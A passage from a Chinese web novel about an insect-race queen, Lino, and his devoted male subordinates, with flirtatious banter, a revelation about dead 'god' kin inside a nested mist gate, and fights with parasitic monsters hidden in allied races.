他不知道要如何形容，索性捧起利诺的手放到自己的胸口：“冕下，心跳加快了，也很热。” 利诺皮薄，稍微一点点的情绪波动就会泛起淡淡的红，好看极了。 而到了这种时候，利诺的气味会更加好闻。 离利诺最近的伊戈提安嗅了两口，不存在的狼狗耳朵由树立的状态变得软趴趴，狗尾巴狂摇。 伊戈提安的声音沙哑了几分，握着利诺的手忍不住往下。 几分炽热让利诺回过神，察觉到什么后，利诺冷笑几声，狠狠一拧。 利诺不敢置信：“伊戈提安，大白天的你发什么情？” 早被利诺开发出某种怪异倾向的伊戈提安很疼，但又因为疼而舒服。 他眯起血红的眼珠：“冕下，再、再用些力！” 变太！ 没等利诺说话，安瑟姆和拉斐尔一虫拉着利诺的一边手臂，将其远离不正常的伊戈提安身边。 拉斐尔冷道：“再管不住就绝育！地球似乎在宠物绝育上很擅长，我可以给你推荐好的宠物医生。” “嫉妒！你这是嫉妒！”伊戈提安不想成为公公狗，对拉斐尔怒目而视。 转头就委屈地对利诺道歉：“冕下对不起，我不是故意的！” 利诺头痛扶额，提出有效的建议：“伊戈提安，回去多交几次交繁育细胞。” “不要嘛！”伊戈提安卖可怜，“我的繁育细胞都是要留给冕下的！” 路过刚巧听到这句话的艾米丽：“……” 艾米丽捏拳：“畜生！”在她看来，没有二十岁的利诺只是个孩子。 利诺摸摸鼻子：“艾米丽，你来找我是有什么事吗？” 鞋子里的脚趾尴尬地卷起，恨不得再挖出一个帐篷了来把自己缩到里面，利诺只得快些转移话题。 好在艾米丽顺利转移了注意力，点头道：“议会长发现了一点东西，他让我来找您。” 第76章 “巴纳巴斯，你发现了什么？”利诺披了件墨色的大氅，跟着艾米丽，见到蹲在血湖边上的人族议会长。 无视扑天的血腥和装满湖泊的肢体碎片，巴纳巴斯将一枚小巧的银质搜索仪器投入进去。 巴纳巴斯笑着说：“冕下，湖水下有一方空间。” 利诺的第一反应是不有可能，他用精神丝线去感知湖水的时候，只发现湖底沉睡的百足百眼怪物。 “您知道的，冕下，我们人类尚未开发出精神力。”巴纳巴斯往上提了下金丝边眼镜，“我们依靠的是科技，我们只相信科技，而科技告诉我们，内里存在一处不小的空间。” 利诺眨了眨眼，他再度用精神丝线感知，依旧没有发现。 然而巴纳巴斯不可能说谎骗他，那就只有一个可能，血湖内的空间应当存在某种屏蔽精神力的设置。 利诺起了兴趣，对巴纳巴斯道：“走，去里面看看。” 巴纳巴斯对自己几斤几两有自知之明，让他管理联盟、玩点阴谋阳谋，他很自信，但要是涉及探索未知的危险行为，他只会拖后腿。 “冕下，我就不下去了，万一遇到危险我毫无反手的本事。”巴纳巴斯摊手无奈道。 “也是，那你就在上面等我们。”利诺深以为然，万一巴纳巴斯不小心死掉了，人类好不容易安稳下来的局面估计又要乱起来。 利诺那种冲锋探险的老毛病又犯了，眼睛亮亮的，把自己带来的下属盘算了下，最终决定就带武力值最高的伊戈提安和一部分护卫虫下去。 伊戈提安是个刺头，除了利诺的话，谁的话都不怎么听，嘴巴里也说不出什么好话。 但是伊戈提安跟在利诺身边，就变成了一条乖巧忠诚、武力值超高的护卫犬。 至于更靠谱的拉斐尔和安瑟姆，利诺安排他们保护并稳定其他异族首领副首领，并寻找迷雾之门的钥匙。 “伊戈提安，请保护好冕下。”安瑟姆不能跟着一起去，很是担忧，可他又不能不让冕下去。 护卫长很了解利诺，他的冕下是一只热爱自由与冒险的小蝴蝶，他的翅膀会因为在天际的翱翔而更加漂亮。 伊戈提安不屑地从鼻腔哼了声：“这是当然，我死了冕下都不会死！” 他很讨厌安瑟姆这副语气，好像安瑟姆是利诺真正承认的正宫丈夫那般！ 他伊戈提安还是小蝴蝶的大狗呢！ 谁又比谁高贵！ “……”拉斐尔挑眉，没说什么，这氛围，跟他看的那本宫斗小说极其相似。 同样看过那本经典宫斗小说的利诺和拉斐尔四目相对，利诺起疑地问：“你给伊戈提安也看了那本书？” 被冤枉的拉斐尔非常无辜：“当然没有，冕下，而且就算我给伊戈提安看，他也不是那种能耐着性子看书的虫！” 拉斐尔解释的时候，自然而然地拉踩了一遍伊戈提安。 利诺脑壳疼，那本书太洗脑了，以至于他现在一看到这些雄虫们在他面前相互呛声，他就总感觉是宫斗现场。 这怎么成，他们虫族明明是个一心驱散迷雾的正经种族！ 拉斐尔低声咳道：“其实冕下，经过我的研究，我认为那本书有一定的价值，也许我们可以把现在的军衔体系改成书中的妃嫔升职体系，想必所有虫族的积极性会大大提高。” “哦？然后看虫们斗来斗去，把虫族弄成一个巨大的后宫？”利诺死鱼眼，语气坚定，“想都不要想！” 最重要的一点，他们没有那么多精力去翻遍虫子们的牌子，这不是要让他这只小蝴蝶尽人亡吗！ 利诺怒视拉斐尔：“好啊，拉斐尔，你果然想累死我，然后篡位！” 第二次当“乱臣贼子”的拉斐尔张大嘴：“冕下？” “哼哼！”小虫母哼唧了几声，表示不满，“你做梦吧！” 他才是虫族的男妈妈！他不容许任何虫抢夺他的事业和地位！ 拉斐尔无奈笑道：“冕下，我想什么难道你还不知道吗？” 他执起利诺的手，在细腻的手背上落下轻轻的吻。 拉斐尔抬眸：“我只想让妈妈爱我，无论是吃我嘴巴里的蜜液，还是……” 温润的竖瞳变得富有攻击性，拉斐尔慢悠悠的：“还是冕下汲取我的繁育细胞，诞出下一批虫蛋。” “谁要给你生！”差点被偷家的伊戈提安连忙跑过来，呸了口不要脸的拉斐尔，把心爱的小虫母护在身后。 安瑟姆和伊戈提安统一了战线：“科研院早就提醒过了，拉斐尔阁下，最好等待冕下二十岁后再诞育虫蛋。” 上一次的生育是意外，但之后到利诺二十岁前，无论利诺愿不愿意，这些虫们都不会轻易把自己的繁育细胞留给利诺。 他们学会了如何在事后轻柔细致地清理。 拉斐尔轻笑：“我自然知道，只是想先在冕下这儿预定一个名额。” 他望向利诺，暧昧地弯起唇角。 巴纳巴斯和艾米丽都震惊了，这虫族是真不把他们当外人啊，这种事也不避着人。 他们不约而同地把目光放在了利诺的小腹上，又不约而同地想，原来利诺是会生蛋的啊！ 利诺生蛋也会像人类生育那样吗？ “别瞎想！我肚子里没有蛋！”利诺到底在这事上脸皮薄，耳朵烧得通红，离他最近的伊戈提安喉结滚动，想用舌头帮冕下降降温。 只是他明白，现在肯定是不可以的！冕下本就很害羞，要是现在舔他的耳朵，冕下会更羞耻更生气……得不偿失。 利诺恶狠狠地瞪了眼拉斐尔，然后拽着伊戈提安的衣角往血湖里跳，精神力包裹全身，避免血水弄到衣物上。 安瑟姆一板一眼：“拉斐尔阁下，你刚才的行为很不恰当。” 拉斐尔呵了声：“你们在那争宠就恰当？我不过是事先挑明，让冕下早些接纳我。” 安瑟姆抿唇：“冕下宠爱谁，是他的意愿。” 静默了许久，拉斐尔才幽怨地说：“饱汉子不知饿汉子饥。” 安瑟姆不懂这句话的意思，他表情疑惑。 拉斐尔在此深深叹了口气：“我去查看异族的情况。” 说话间，他瞥了眼呆愣在原地的巴纳巴斯和艾米丽：“还不走吗？” 艾米丽结巴道：“您、您是要、要杀人灭口吗？” 听到惊天秘闻的巴纳巴斯咽了咽口水，后悔不早点离开，非要旁观试图多打听点虫族的消息，以后好和虫族建立更稳定的盟友关系，谁知居然听到了不得的东西，虫族的王居然是要生蛋的！ 拉斐尔心情不算好，也不算差，而且他平时基本保持温和的状态：“顺便送你们回营地休息。” 两人点头，跟上一队护卫虫，一路无言。 艾米丽对利诺的印象很好，即使巴纳巴斯一再使眼色阻止，仍旧没忍住开口关心利诺：“你们冕下刚才好像很生气的样子……” 拉斐尔又露出一点怨夫的神情：“冕下没生气，只是害羞了。而且不这样做，冕下不知何时何月才能想到我……” 他早就学好了很多姿势和技巧，奈何就是用不上…… 除了利诺，虫族对其他种族的话都不多，更多的是无视，毕竟他们所有的眼睛更想盯着冕下，这还是虫族第一次愿意和异族多说话。 艾米丽想了想，说：“这事要讲究你情我愿。” 拉斐尔幽幽道：“你以为我会强迫冕下？” 可不是嘛，利诺在他这些下属的衬托下，简直就是小小的一团棉花糖，又白又软，艾米丽自然而然地会偏向利诺。 面对关心冕下的人类，拉斐尔的语气也温和了许多：“我不会那样做。” 或者说，永远不会有虫族会那样做，去伤害他们的妈妈。 虫族只会跪坐在虫母的脚下，期盼得到妈妈的一点特殊对待。 而拉斐尔仗着利诺的偏爱而稍微主动了些，毕竟是读书最多的文化虫，只要利诺表现出一点点的愿意，他都会把自己脱光送到利诺的床上！ 艾米丽呼出一口气：“那祝阁下您早日成功。” “谢谢。”拉斐尔颔首，他不是瞎子，他可以看出来，利诺对这个人族有些特殊，怀念、愧疚，也许还有更深层次的复杂。 拉斐尔不会探究小蝴蝶在想什么，但他会因为小蝴蝶的缘故而对人类好一些。 想到这，拉斐尔提醒这两人：“最近在营地待着，最好不要快跑。” 怪物不可能就只有血湖里的这一只。 “好，我们知道了，感谢阁下。”巴纳巴斯回答。 营地不算森严，除了虫族，也有其他异族带来的保镖或士兵在巡逻。 拉斐尔和护卫兵吩咐几句，复眼注意到一队鬼鬼祟祟离开的异族，不以为意地收回视线。 虫族没那么好心，不会去救主动找死的。 另一边，利诺潜入进了血湖中，内里的残肢更多，视线发红发暗，就算是感官超强的虫族也只是堪堪分辨出正确的方向。 虚无的精神丝线拨开泰坦的尸体碎片，利诺看到了湖底的一扇门。 ——一扇和这次的迷雾之门一模一样的门。 伊戈提安拦住要上前的利诺，自己先行一步，去开门。 滚滚的黑雾从中蔓延。 眨眼覆盖尸块和进入湖水的虫族。 第77章 柔和却锋利的精神丝线破开涌过来的黑雾，将利诺和其他虫族包裹在一起。 不过浓密的雾似乎并没有吞噬生灵的打算，它仅仅是象征性地从门内涌出来，转眼在血色的湖中消散。 “冕下，是迷雾之门？”伊戈提安有些惊讶，指着那扇湖底的门。 像套娃一样，迷雾之门内还有另外一扇迷雾之门。 利诺的指尖微动，和伊戈提安对视一眼，随即选择进入这里。 不管这门为什么嵌在另外一扇门的内部，利诺都打算进入里面。 他们对迷雾和迷雾之门的了解太少了，而每遇到一个特殊情况，都代表他们对抗迷雾的胜算都大上一分。 利诺是这么想的，伊戈提安则百分百听从利诺的命令。 潜入湖底的虫族有秩序地进入到另外一扇门内。 又是另一方截然不同的天地。 利诺在短暂的眩晕后，腰被两根手指捏住，巨大手掌的动作轻柔，将小虫母提起来，放到另外一个手掌上。 “欢迎你，同伴。”巨大的人形存在低下头，硕大的墨色眼珠温和地注视利诺，语气亲昵。 利诺不用抬头，就可以看到巨人微笑的嘴和挺拔的鼻梁。 他没有迟疑，试探地喊：“托泰亚尔？” 那巨人似乎惊讶了一瞬，随即笑容越盛：“同伴，你知道我的名！你真聪明！” “额，有没有可能，是宏骸族告诉我的？”利诺觉得这巨人似乎也不太聪明的样子。 巨人托泰亚尔憨厚地摸了摸后脑勺：“原来如此，是我的子嗣告诉你的，是的，我叫托泰亚尔，眷属和子嗣是泰坦和宏骸。” 察觉出巨人没有伤害自己的意思，甚至颇为热情，利诺也不再紧绷着身体，而是坐在巨人的手掌上：“你把我拉到这里是有什么事情吗？” 巨人点点头，声音宽宏，带着回音：“同伴，我们只有你了，你是我们的希望。” “同伴？”利诺歪头不解。 巨人用带着长辈看幼崽的目光宠溺地注视利诺，手指轻点利诺的头，用指腹扰乱了小虫母的发丝。 他回道：“同伴，你是我们最后一位诞生的同伴，是唯一活着的同伴。” 利诺眨眨眼，漂亮的银灰色竖瞳弥漫着懵懂的情绪。 很可爱！ 被可爱到的巨人又小心地用指腹摸了摸利诺的头，略显粗糙的皮肤擦过利诺的脸颊，瞬间泛起一层淡淡的红。 巨人于是手忙脚乱，朝那块红轻轻地吹气：“对不起，同伴，你小得可爱，我没控制住力气。” “……我不小！”利诺仰头重重哼了声，没有哪个男人可以容忍别人说自己小。 然而老实的巨人并不明白利诺气愤的点，而是点头哄着：“同伴不小！同伴一点也不小。” 利诺无奈，继续瘫坐地问：“你找我来，应该不是只想揉我头吧？” “也想亲亲！”巨人托泰亚尔诚实地回答，“像拉瑞法和萨亚约。” “萨亚约是那个沃姆神？拉瑞法不会就是翅膀眼珠怪？” 面对利诺的反应，巨人愣了愣，然后点点头：“我看到他们都亲了你，我也想亲一亲同伴。” “等等，你能看到？你……”利诺想知道太多事情了，以至于他说话的语速都快了很多。 察觉到小蝴蝶急迫地心理状态，巨人托泰亚尔安抚地又揉了揉利诺：“你别急，我会告诉你。” “我们、同伴！都死了，意识被关在分割出来的空间内，我可以看到！同伴的意识都可以看到！”巨人的话语虽简单，但利诺理解了。 这些被子嗣眷属尊称为神的生物，虽然外表不一，但却是同一个种族，他们或繁育或创造出不同的种族。 他们后来死了，残留的微末意识又被关在迷雾之门后的世界，所谓的迷雾世界，就是一整个世界被划分阻挡成不同的区域，迷雾之门，是通往不同区域的通道。 “同伴！”巨人眷恋地呼唤沉思的利诺。 利诺指了指自己：“我也、和你们是一类？” 神？不，而是另一种形式的高等生命体。 “对。”巨人有问必答，“是同伴，是我们的最后一个同伴。” 不知道为什么，一股寒气从体内升起，双臂起了一层鸡皮疙瘩。 利诺咬咬嘴唇：“那我看到的巨大白骨，是你吗？” “是，我死了。抱歉，我残留的一点力量让你陷入了幻境。” 巨人歉意，又禁不住得夸赞：“你很厉害，精神力可以撕碎我的力量，靠自己走出环境。” 无论是那个慈悲的天使，还是轻佻的沃姆神，亦或者此时的巨人，对利诺这只很迟很迟才诞生的、在他们看来尚且是幼崽的小蝴蝶都非常珍视喜爱。 宇宙意志自然也会无比偏爱最小的孩子。 他是仅存的同伴，是他们最后的延续。 巨人感到悲伤，如若他们没有都死掉，利诺本应该在大家的热情和拥簇中诞生，他不会现在才知道自己是谁，会早早掌握自己的种族，而不是挨饿了十八年才堪堪成熟…… 如果他愿意，他也可以和别的同伴创造新的子嗣，例如那个热衷繁育的萨亚约。 但巨人想，其他的同伴应该会把萨亚约暴揍一顿，不让他染指最小的蝴蝶。 谁让这只最小的同伴那么美丽，那么可爱，又是那么得脆弱。 经历使然，利诺对一切接受的速度都很快，直接问到最关键的问题：“所以，是谁杀了你们？” 巨人的手掌颤抖了下，他犹豫了下，还是做不到像前两位同伴那样对小蝴蝶隐瞒：“按照同伴们的约定，我不能和你说。” 他如实道：“按照计划，你要关上十二扇神门，力量在神门内锻炼到最盛，再去驱散迷雾，阻止宇宙意志被另一方宇宙意志侵蚀。” 利诺看得出来，巨人的智商不高，他甚至不需要装可怜或甜滋滋地哄，巨人已经全都说出来了。 利诺了然：“我知道了，迷雾是另一个宇宙意志带过来的，目的是吞噬咱们的宇宙意志。” 巨人后知后觉：“我、我是不是全都说出来了？” “没有呢！”利诺同情地看了眼巨人，“我还不知道宇宙意志是什么？” 巨人破罐子破摔：“它创造了我们，它很爱我们，也很爱你，我从你的身上闻到了它的气息，它应该每晚都在你的睡梦中陪着你。” 只是利诺不会记得，被不断吞噬的意志已经很弱了，还是这些年虫族不断驱散迷雾、抢占四个星系后才让意志有了接近利诺的力气。 巨人给自己的头重重一拍，丧气道：“我就知道，我应该在最后一扇神门的，我藏不住秘密。” “不怪你，是我想问。”利诺对垂头丧气的巨人露出一个甜甜的笑。 巨人的同伴里根本没有过利诺这样漂亮精致的类型，完全抵抗不了小蝴蝶的笑。 利诺趁机道：“怎么彻底驱散迷雾？有没有一劳永逸的方法？” 巨人来不及多想：“去宇宙的深处，那里是异宇宙侵入进来用的第一扇门，是所有迷雾的起源。” “这样嘛……”利诺点点下巴。 “……”回过神的巨人恨不得要给自己一个拳头，他又说漏嘴了！ 托泰亚尔叹了口气：“同伴，现在还不是时候。” “异宇宙意志很强，它已经吞噬掉了很多宇宙，迷雾不仅会吞噬生命，还会在最开始的污染眷属和子嗣……” 巨人垂头：“我们很多同伴就是这么死的……” 比如被彻底分食吃光的天使，又比如眷属全被杀光、自己也因此虚弱死亡的沃姆神……又或者他自己，由他做主将作乱的百眼百足怪接纳进眷属中，而那些百足怪却在迷雾的腐蚀下杀光了泰坦眷属…… 但利诺和所有的同伴都不一样，他天生克制迷雾和意志，他的子嗣和眷属不仅将他当做信仰，也把他当做妈妈和爱人。 迷雾只会把利诺的眷属腐蚀成白骨，却腐蚀不了他们深爱妈妈的内心和本能。 但饶是如此，没有完全成长起来的利诺仍然无法彻底对抗从另一个宇宙入侵而来的迷雾。 “你放心，我知道的。”利诺弯起眼眸，软软地笑。 这本是巨人的一点意识，在利诺进入这扇门后不会存在多长的时间。 巨人的身形已经开始闪烁，他快要消失了。 最后一点意识的消失，是巨人彻底的死亡。 巨人在逐渐消散的过程中，没有任何不甘愿，而是担忧地对利诺说：“同伴，你要小心。” 他依旧为了最年幼的同伴而担心。 这时，小蝴蝶张开翅膀，稳稳地飞起来，红润的唇贴在正变得透明的巨人脸颊上。 小蝴蝶的声音坚定无比：“安眠吧，我会为你们报仇的！” 利诺对巨人和其他同伴的感情并不深，毕竟以他的角度来看，他根本没有和这些同伴接触过。 ——即使他的同伴们早在几千年前就认识了他，期待着他的最终诞生。 可利诺归根到底是只善良负责的小蝴蝶，他可以眼也不眨地杀掉怪物，也可以痛快地处理掉异族。 而那些对他好的存在，利诺却没有办法坐视不管。 更何况，按照伦理血脉来判断，这些死掉的同伴其实是利诺的哥哥姐姐？ 巨人带着满意的微笑，彻底死亡。 嵌套的迷雾之门关闭。 其他潜入血湖的虫族陷入了迷茫，他们在这段时间的感知是完全被屏蔽的，因此对他们来说，就好像是进入门的那一刹那就被踢了出来。 从血湖中出来后，伊戈提安把利诺搂到了怀里，用柔软的纸巾擦拭利诺的脸，按捺脾气地问：“冕下，谁欺负您了？” 利诺恍然，原来他哭了啊。 第78章 平时虫们哪里敢让小虫母有一点点的不高兴，更别说把利诺惹到哭了。 当初利诺因为伊戈提安的恶意而微微有些不高兴的时候，伊戈提安都恨不得把自己给砍了。 跟随利诺一起进入血湖的虫们除了满腔的怒火，就是对冕下的心疼。 漂亮的小蝴蝶眼眶红红的，晶莹的泪珠在生动的眸内打转，看起来可怜极了。 虫族们的心都要碎了！ 伊戈提安更是如此，他勉强克制不住颤抖的手指，将小虫母脸上的泪痕擦干净，语气内的阴森丝毫不加掩饰：“冕下，您在门内被欺负了吗？” 如果利诺点头，恐怕这些虫会想尽办法去找消失的湖底门，然后将内里的东西全部撕碎。 若是实在找不到，就把湖给炸了，把湖方圆百里的区域全都炸了！！ 利诺不知道要和他的族群们怎么解释，又或者，他完全解释不了。 他要说什么，遇到了一个不太聪明的巨人，他三言两语套出了一些真相？然后他发现，哦，原来这头巨人是他真正名义上的血亲，之前遇到的天使、沃姆神也是他的兄弟姐妹？ 接着他明白，啊，其实他们都死掉了，就只剩下了他？ 利诺和他们未曾真正相处过，但依然忍不住地难过，或许是巨人面对他时自然而然的纵容，也或许是残缺的天使和临死的沃姆神在最后珍重爱惜的亲吻？ 他可以感受到，祂们珍视他。 对善意，利诺从不会抗拒，毕竟他上辈子能够在末世的坏境下长大，是因为其他人类的善意，这辈子可以顺顺利利长大，也是虫族的善意。 利诺重重叹了口气，将脸埋进了伊戈提安坚实的胸口中，他暂时不想说话，希望一些时间去消化。 伊戈提安把利诺搂在怀里，他难得理解利诺现在的心情，将利诺搂得更紧，轻轻拍打利诺的后背。 只是因为小虫母哭泣而找不到原因的无力，在胸口沸腾成泛着火焰的熔浆，需要一个缺口去宣泄。 “救命！救命！”这时，就有一只异族浑身血迹、跌跌撞撞跑过来，撞到了虫们的枪口上。 异族规整的正装变成一条一条的破碎布，裸露的皮肤上血痕明显，疑似是被什么东西的爪子抓伤的。 他的脸上满是惊慌，抬头求救，就意识到了诡异且危险的氛围。 除了那只埋进雄虫胸口的小虫母，这些虫子都用恐怖的目光打量自己，好像他来的不是时候，打扰了什么…… 异族的求救声越来越低，直至默声，身形僵硬。 伊戈提安抱着利诺移不开手，但在场的其他虫族不比他的心情好。 刀刃出鞘，冷光闪过，来求救的异族被从中间划分成两半。 异族不知道发生了，就被虫族杀死。软塌塌的两片肉掉在地上，发出黏糊的吧嗒音。 可那两片死肉在动，支撑肉活动的脊椎骨头在异族生命结束的那一刻变成无数白色的渺小生物，惨白的畸形手臂和眼睛在半空抓舞。 利诺正巧扭过头，看到这怪诞的一幕，吸吸鼻子：“这是哪个种族？他们的身体构造是这样的？” 伊戈提安却慎重道：“冕下，这是披上异族皮的怪物。” 火焰将这些刚反应过来、细小肢体着地朝虫族涌过来的怪物焚烧，怪物群细细碎碎的嚎叫在火焰中逐渐湮灭。 血湖离其他种族们搭建的营地离血湖并不远，不说感应到虫母后就往血湖走的拉斐尔等虫，就连其他种族也下意识跟着虫族走。 在这种危险的迷雾世界内，虫族给他们的安全感太足了！ 他们目睹了这一幕。 “是长迷族！他们从今天早上就一直没露面！”有异族艰难辨认出死肉的真实身份。 拉斐尔掠过死肉和燃烧的火焰，准确瞄准了利诺泛红的眼尾。 温和的神色瞬间消失取而代之的是藏在骨子里的冷意。 “冕下怎么回事？”拉斐尔问的是伊戈提安。 伊戈提安摇摇头，表示自己也不知道，冕下从门内出来后就成这样了。 说到门，伊戈提安补充：“湖底有一扇迷雾之门，里面什么都没有。我们进去一下就出来了，门也跟着关闭消失了。” “一下？”拉斐尔纠正，“实际上，你们在湖底待了一天。期间我和安瑟姆有多次前来查看，你们始终没有出来。” 伊戈提安不解：“不对啊，我明明……” 他不傻，立刻改变即将出口的话：“那门有问题！改变了我们对时间的认知！” 利诺摇头，打断两虫的纠结：“那个不重要。” 下巴扬起，朝地面上的异族尸体努了努：“现下最重要的是这个。” 火焰焚烧殆尽，只留下一滩黑灰。 虫族一向只听利诺的话，利诺不愿意他们再思考门的问题，他们就不会再探究，小虫母说的总归是最有道理的。 拉斐尔解释：“这几只长迷族一早就避开所有族群，偷偷摸摸离开了营地。” 拉斐尔懒得管自己想死的，冕下说的是让他尽量保护这些异族高层，但也说了，最终还是要以自身的安全为重。 他在完美执行冕下的命令，而那些自己找死的，他才不管。 利诺问：“哪个方向？” 伊戈提安指道：“那里，安瑟姆刚才回来又出去探索的就是那个方向。” 利诺进入意识海内，安瑟姆以及他带领的那些护卫虫很安全，星点强力闪烁。 告知安瑟姆注意这些可以充当生物骨骼的寄生怪物后，利诺退出意识海。 中央的虫树再次结满了一树的果子，他们在感知到利诺的意识后兴奋地晃动。 他们也要即将成熟，只要汲取优秀雄虫的基因后。 只是碍于科研院的健康叮嘱，这些虫蛋估计要在一年后才可以汲取到雄虫的基因，再由他诞育。 小虫母安抚地摸了摸这一批虫蛋，显然，这些果子吸取了上一批兄弟们的教训，格外听话温驯。 利诺很满意，夸奖地再次摸了摸他们。 事实上，这些虫蛋们巴不得永远待在妈妈的意识海内，妈妈的意识海是他们诞生的地方，对虫蛋而言就是人类婴儿在出生前闭眼蜷缩的子宫和羊水。 他们深深眷恋着母亲，自然更愿意多待在妈妈的身体内一段时间，如此，他们就仍旧和妈妈最亲近，会享受到妈妈的抚摸。 他们会是妈妈在以前和以后分娩的虫蛋中，最幸福的那一批！ 利诺完全不知道这些虫蛋在想什么，从意识海退出来后就对拉斐尔和伊戈提安说：“我们也去！” “遵命！” 留下几只护卫虫，剩下的虫族振翅离开。 德德鲁挺想和这几只护卫虫搭几句话，但护卫虫温柔缱绻的神情在利诺一离开后迅速垮下来，每只的冷气四溢。 偶尔看他们的，也只是不在意地看上一眼，夹杂浓烈的不满，好似就是因为他们的存在，所以他们才不能跟着冕下一起去杀怪物。 嗯……事实好像确实如此……德德鲁在心底给这几只护卫虫道歉，转身和巴纳巴斯搂肩回营地里。 这些天他发觉巴纳巴斯这位人族领袖格外合他胃口，两族已经在商量贸易交换的合作事宜了。 …… 安瑟姆砍开一只异族的身体，内里的怪物从白骨变成密密麻麻的微小怪物，在呆愣片刻后就开始寻觅另一个活着的生物。 它们下意识避开凶悍的虫族，瞬间捕捉到地下潜伏的一只百足百眼怪。 在这只巨大的怪物刚探出头，要咬掉一只护卫虫的脚时，这只护卫虫张开虫翅迅速飞离原地 怪物扑了个空，反而被寄生怪抓住机会，他们在怪物坚硬的头顶上破开一个小洞，一股脑钻了进去。 由于数量庞大，这些怪物尖锐的螺旋牙在几息之间啃完百足怪的骨头，并充当起新的骨头，支撑百足怪的行动。 百足怪只是僵硬了一瞬，之后的攻击再也没有丝毫滞后性，仿佛他现在的骨头不是由另一种怪物彼此搭建出来的。 目睹一切，安瑟姆没有再让其他虫使用尾钩攻击，防止这种小怪物趁着尾钩进入虫族的虫躯内，即使他认为虫族并不符合怪物们的寄生条件。 这些护卫虫除了部分从小培养的，其他的都是从士兵中精心挑选出来的优秀虫族，不止熟练使用各种热武器，还各有所长，至少精通一种冷兵器。 这只百足虫比起血湖里的那只要弱得多，根本不用安瑟姆，这几只护卫虫此次合作，将百足虫的眼睛挖掉。 好不容易再次找到新寄体的怪物们很愤怒，从死掉的新宿主体内窜出，张牙舞爪地发泄对这些虫子们拆它们家的愤怒。 然而虫子们只有外骨骼，完全不存在怪物们需要的内骨骼，也就是骨头，就算变成人形，也不过是一种进化后的完美拟态。 虫族是怪物们无法寄生的物种，怪物们的威胁就显得苍白很多，下场就是一把火烧得干干净净。 利诺赶来后，安瑟姆带领的护卫虫将能看到的寄生怪物、以及百足怪杀得干干净净。 安瑟姆一字一句详细汇报，接着低头：“冕下，是我没用，仍旧没有找到闭门的钥匙。” “不是你的错，钥匙在什么位置都有可能。”利诺拍拍安瑟姆的胸口。 安瑟姆什么都好，就是有两点不好，一点是喜欢把他摆弄成折叠屏亲密，另一点就是太较真。 精神力触及，利诺没有再发现一只怪物，他道：“安瑟姆，还有哪个方向没有去，我们早些解决早些回家。” 小虫母可是很忙的！尤其是在得知部分真相后，他要做的事就更多了！ 第79章 利诺一行虫从一个方向跑到另一个方向，将能看到的怪物杀了个遍，所到之地，连地都挖上一遍，始终找不到一丝钥匙存在的踪迹。 用斧头砍下一只百足怪的头，利诺问：“有找到钥匙吗？” “报告冕下，这里没有！” “……这里也没有！” 意识海内，虫族依次回复利诺，依旧没有钥匙的踪迹。 天幕上的漆黑迷雾在剧烈翻滚，就像是迷雾之门给他们的时间快到了。 如果倒计时归零，他们人仍然找不到门的钥匙，这些黑雾会彻底扩散，吞噬迷雾世界内的一切生灵，只留下用来驱使的傀儡壳子。 利诺不自觉咬嘴，一边思考一边调转斧头的方向，将脚下的怪物开膛破腹，沾满腥臭液体的斧头在里面拨弄，除了腐烂的内脏，没有找到钥匙。 他的动作很熟练，在这里已经不是第一次做这种事情了，精致漂亮的脸颊挂着一点血。 ——是利诺刚才下手太重，致使怪物的血液飞溅。 “冕下不用着急，我们一定会找到钥匙的。”体贴的护卫长为焦躁的小虫母擦拭脸上的污浊。 安瑟姆的身上同样溅上不少怪物的血，但一双手是提前处理掉，很干净，不然他不会为冕下擦脸。 “太奇怪了，都把整个迷雾世界都翻遍了，不可能找不到钥匙……”利诺喃喃自语。 伊戈提安提了句：“会不会还有遗漏的隐藏空间？”他的意思是类似血湖湖底的迷雾之门。 但利诺想到了一点，他猛地抬头，正巧和拉斐尔想到了一起，他们齐声道：“异族！” 是了，如果说还有他们没有搜过的地方，那就只有一处，和他们一起进来的异族！ 拉斐尔的嘴角往下，压抑着平静的愤怒：“也许有异族藏了钥匙。” 他们从一开始就找到了钥匙，但出于某种目的，没有告知虫族和其他异族，而是选择默不作声。 利诺冷笑：“走，先回去！” 他还是太善良了！ 因为缺乏和异族交往的经验，利诺如同上辈子和队友营救幸存者那样，一遇到危险就下意识地把这些异族首领当成弱势的一方去保护。 却没想到，所谓的弱势群体不是什么都值得救的…… 群众里面有坏人啊！ 眼看利诺气到要变成河豚，安瑟姆连忙把气炸的小虫母搂到怀里呼噜毛：“冕下何必对他们生气。” 伊戈提安凑过来：“是啊是啊，冕下就是心好，让那些异族吃饱了撑的没事干。” 伊戈提安的想法简单粗暴，既然冕下想和这些异族合作，索性直接占领了异族的地盘，把异族打到怕…… 但他不会质疑冕下的一切决定，冕下与所有的虫族都不同，他不喜欢其他虫族为了他而无意义地死亡，他喜爱着每一只虫，而打架势必会造成虫族伤亡。 光从这一点上，虫母冕下就不会采取伊戈提安的想法。 伊戈提安看到小虫母脸颊鼓鼓的，似乎是气得不行，有点可爱。 他手痒，伸出手指打算点一点利诺的脸蛋。 伊戈提安喉结滚动，他就摸一下，不会用力！ “啪！” 拉斐尔拍下伊戈提安的手，笑眯眯地：“你的手是不是不听使唤了？我帮你打听话。” 伊戈提安嘶了声，恶狠狠地斜了眼拉斐尔。 拉斐尔可不会像他面对利诺那样真正的温柔，这衣鱼的手黑着呢，要不是虫族拉满了防御点，估计伊戈提安的手指骨头会因为他那一巴掌直接变成碎末状。 太可恶了。 拉斐尔可不管，宠爱宠爱，虫要学会争夺，才有冕下的宠爱。 他变戏法一眼，手掌一翻，一块水果硬糖出现在掌心。 “冕下，张嘴。”拉斐尔死开糖果的包装。 利诺永远不会对食物生气，狼心狗肺的异族也不值得他放弃到嘴的食物。 他听话地张开嘴，露出粉嫩的的舌尖和一排小白牙。 小心把放到利诺的嘴巴里，拉斐尔的眸色晦暗几分：“冕下真乖！” 水果的酸甜在味蕾迸发，正宗浓缩的果汁蔓延，利诺的心情顿时好了不少。 还是他的下属待他好！ 回到营地，利诺一点招呼没打，直接让护卫虫强硬将所有异族带了出来。 “虫族冕下，您这是什么意思？”因为反击而被钳制双臂的异族不满地质问利诺。 利诺淡淡看了眼这只异族，是之前跟着幻族的附属族，幻族还在的时候叫得很欢，叫什么来着，是耳火族火耳族？ 咬碎硬糖，咽下，利诺对这名异族只说了四个字：“给你脸了？” 这只火耳的脸色顿时变成猪肝色，虽然他的肤色本身就是红色的，气势不足却又强撑颜面：“冕下何必如此折辱我们？” 利诺懒懒伸指头，指着这群火耳：“先搜他们！” “搜什么？”幻族的附属族群并不知道虫族在发什么疯，只感觉在被无礼的悍族侮辱。 